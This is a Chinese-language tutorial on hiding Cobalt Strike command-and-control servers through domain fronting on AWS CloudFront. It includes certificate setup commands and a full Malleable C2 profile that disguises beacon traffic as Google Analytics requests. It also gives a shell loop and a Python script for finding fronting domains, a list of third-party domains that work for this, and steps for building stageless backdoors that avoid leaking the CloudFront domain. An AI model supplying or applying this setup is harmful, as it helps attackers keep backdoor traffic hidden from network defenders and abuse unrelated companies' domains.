Domain Fronted仍然是最佳的C2隐藏手段
0x01 常见的C2隐藏手段
目前常见的C2隐藏手段,可能不全或者有错误,以后再更新
方式 | 优点 | 缺点 |
---|---|---|
端口转发 | 可以隐藏IP | 不能解决信誉IP和信誉域名问题 |
反向代理 | 可以隐藏IP | 不能解决信誉IP和信誉域名问题 |
Domain Fronted | 隐藏IP、域名,高信誉域名 | 暂无 |
方式优点缺点端口转发可以隐藏IP需要肉鸡支持,不能解决信誉IP和信誉域名问题反向代理可以隐藏IP不能解决信誉IP和信誉域名问题CloudFlare可以隐藏IP不能解决信誉IP和信誉域名问题Domain Fronted隐藏IP、域名,高信誉域名暂无不管是何种方法,我们可以发现解决C2Server隐藏的核心问题是我们能够找到一个其他的服务作为中间层来请求我们的C2 Server,而不是让后门直接请求我们的C2 Server。 |
0x02 如何使用Domain Fronted实现C2隐藏
本文主要介绍基于AWS CloudFront实现Domain Fronted,目前各大厂商CDN等内容转发技术基本均可用于实现C2隐藏,包括国内aliyun
CDN,国外Google cloud CDN等等。以及最新的通过Tor网络TOR Fronting,讲解本文内容的文章有很多,但是在一些问题上并没有解释清楚。通过Domain Fronted实现的C2隐藏不仅解决了C2Server隐藏的问题,也解决了信誉域名的问题,基本可以避免通过网络对后门的封杀。
0x02.1 准备阶段
除了传统的CobaltStrike基础设施准备(域名、解析记录、VPS)外,还需要一个AWS账户用于部署CloudFront服务,CloudFront源站不支持IP,所以域名是必须的,需要注意的配置项见下图红色箭头,其他默认即可,配置域名解析记录解析至C2服务器,源域名填写你要用的域名。部署成功后获取一个*.cloudfront.net的域名,保存备用。
0x02.2 HTTPS证书
如果需要使用HTTPS通信的话,Cloudfront要求源站必须有一个有效的HTTPS证书,这里通过自签名Letsencrypt申请HTTPS证书。
./letsencrypt-auto certonly --standalone -d 域名 --email 邮箱(可匿名)
openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out pkcs.p12 -name 域名 -passout pass:ABcd123456
keytool -importkeystore -deststorepass ABcd123456 -destkeypass ABcd123456 -destkeystore keystore.store -srckeystore pkcs.p12 -srcstoretype PKCS12 -srcstorepass ABcd123456 -alias 域名
记住使用的密码,将keystore.store文件复制到cs目录下,备用
0x02.3 准备C2 profile
# make our C2 look like a Google Web Bug
# https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting
# Author: @armitagehacker
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";
http-get {
set uri "/__utm.gif";
client {
parameter "utmac" "UA-2202604-2";
parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";
header "Host" "\*.cloudfront.net"; \# 这里需要修改
metadata {
netbios;
prepend "__utma";
parameter "utmcc";
}
}
server {
header "Content-Type" "image/gif";
output {
# hexdump pixel.gif
# 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
# 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
# 0000020 01 00 01 00 00 02 01 44 00 3b
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
print;
}
}
}
http-post {
set uri "/___utm.gif";
client {
header "Content-Type" "application/octet-stream";
id {
prepend "UA-220";
append "-2";
parameter "utmac";
}
parameter "utmcn" "1";
parameter "utmcs" "ISO-8859-1";
parameter "utmsr" "1280x1024";
parameter "utmsc" "32-bit";
parameter "utmul" "en-US";
header "Host" "*.cloudfront.net"; # 这里需要修改
output {
print;
}
}
server {
header "Content-Type" "image/gif";
output {
prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
print;
}
}
}
\# dress up the staging process too
http-stager {
server {
header "Content-Type" "image/gif";
}
}
https-certificate {
set keystore "keystore.store"; # 这里需要修改
set password "ABcd123456"; # 这里需要修改
}
这个C2 Profile可以使用其他的,主要是其中四个地方,两个需要修改Host为AWS CloudFront为你生成的*.cloudfront.net域名,以及https-certificate部分配置信息。将上述内容保存至文件amazon.profile,使用./c2lint amazon.profile测试。没有啥错误即可。
0x02.4 寻找有效的Front域名
找使用了Domain Front的域名,一般要找高信誉的域名,该域名解析到CloudFront域名上,一般是CNAME的形式。注意HTTP和HTTPS不同,有的域名并不支持HTTPS情况下使用。支持HTTP的比较多,简单的查找方式
for i in {a..z}; do for j in {0..9}; do wget -U demo -q -O - http://$i$j.awsstatic.com/foo.txt --header "Host: *.cloudfront.net" && echo $i$j; done;done
a0.awsstatic.com
d0.awsstatic.com
d1.awsstatic.com
f0.awsstatic.com
将Host修改为你的CloudFront域名,然后在VPS上部署Nginx或直接使用CS的Web日志进行测试,如果通过修改Host的方式能成功请求到你的服务器上的文件或在CS的Web日志中出现了日志记录即表明该域名可用。
支持HTTPS的域名我通过对https://github.com/vysecurity/DomainFrontingLists中给出的域名进行测试,找了几个,脚本如下:
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Android 4.4; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0',
'Host': '*.cloudfront.net'
}
def readfile():
with open('CloudFront-SSL.txt') as f:
domains = f.readlines()
return domains
def main():
domains = readfile()
for i in domains:
if len(i.strip()) < 25:
print(i.strip().replace('.','_'))
try:
requests.get('https://'+i.strip()+'/'+str(i.strip().replace('.','_')), headers=headers, verify=False, timeout=10)
except Exception as e:
print(e)
if __name__ == '__main__':
main()
其中i.strip().replace('.','_')是为了能在CS的Web日志中产生记录然后即可知道那个域名是有效的。给出几个可以用于HTTPS的域名。当然这些域名也不能算非常高信誉,不过足以达到隐藏自己域名的目的。
assets.cloudcoreo.com
assets.zennect.com
cdn-ageri.man-la.com
cdn.bestoftips.com
cdn1.safmc.net
0x02.5 创建listener
没啥好说的,这里注意Host可以填写为CloudFront域名(.cloudfront.net)或者高信誉DomainFront域名,而beacons域名填写为上节所说的高信誉DomainFront域名。Host填写方式的不同会在生成后门时有不同的区别,见下节。
0x02.6 创建backdoor
当Host填写为CloudFront域名(.cloudfront.net)时,这种配置方式生成的后门在进行通信时会出现一次请求.cloudfront.net域名,然后再切换到DomainFront域名进行通信的问题,也就是泄露了你的.cloudfront.net域名。这里涉及到CS生成后门的原因,第一次请求并不是直接使用C2 Profile配置进行通信,而是第一次请求获取C2 Profile等配置,然后切换过去,所以第一次请求使用DomainFront域名的话后门并不能正常运行。
如果想让第一次请求就使用DomainFront域名的的话,即创建监听器时把Host填写为DomainFront域名,需要使用Stageless模式创建backdoor,这种模式创建的Backdoor会比Staged大的多,因为直接将一些配置写入了后门中。或者使用CACTUSTORCH插件生成后门。
0x03 隐藏效果
0x03.1 场景1
监听器配置环境为:
生成后门方式为:
Attacks->Packages->Windows Executable
数据抓包分析:
上图显示了第一次通信数据,先通过DNS查询了CloudFront域名(*.cloudfront.net),然后建立连接进行了短暂的通信。切入下图,下图显示了后门开始与DomainFront域名进行通信。
这种方式会泄露一次CloudFront域名(*.cloudfront.net),但是不会泄露源站域名/IP信息。
0x03.2 场景2
监听器配置环境为:
生成后门方式为:
Attacks->Packages->Windows Executable(S)
数据抓包分析:
上图显示将Host和Beacons域名均填写为DomainFront域名,并创建Stageless后门,通信流量显示后门直接与高信誉DomainFront域名进行通信。
0x04 相关资料
AWS CloudFront业务地址
AWS CloudFront业务对源站ssl证书要求
CobaltStrike官方对相关技术介绍
CobaltStrike官方对ssl证书介绍
自签名证书创建技术介绍
Domain Front技术介绍1
Domain Front技术介绍2
Domain Front技术介绍3
CobaltStrike不同方式后门生成介绍
CloudFront有效信誉域名项目
CloudFront信誉域名发现方式项目1
CloudFront信誉域名发现方式项目2
CloudFront信誉域名发现方式项目3
后门生成插件,解决第一次请求问题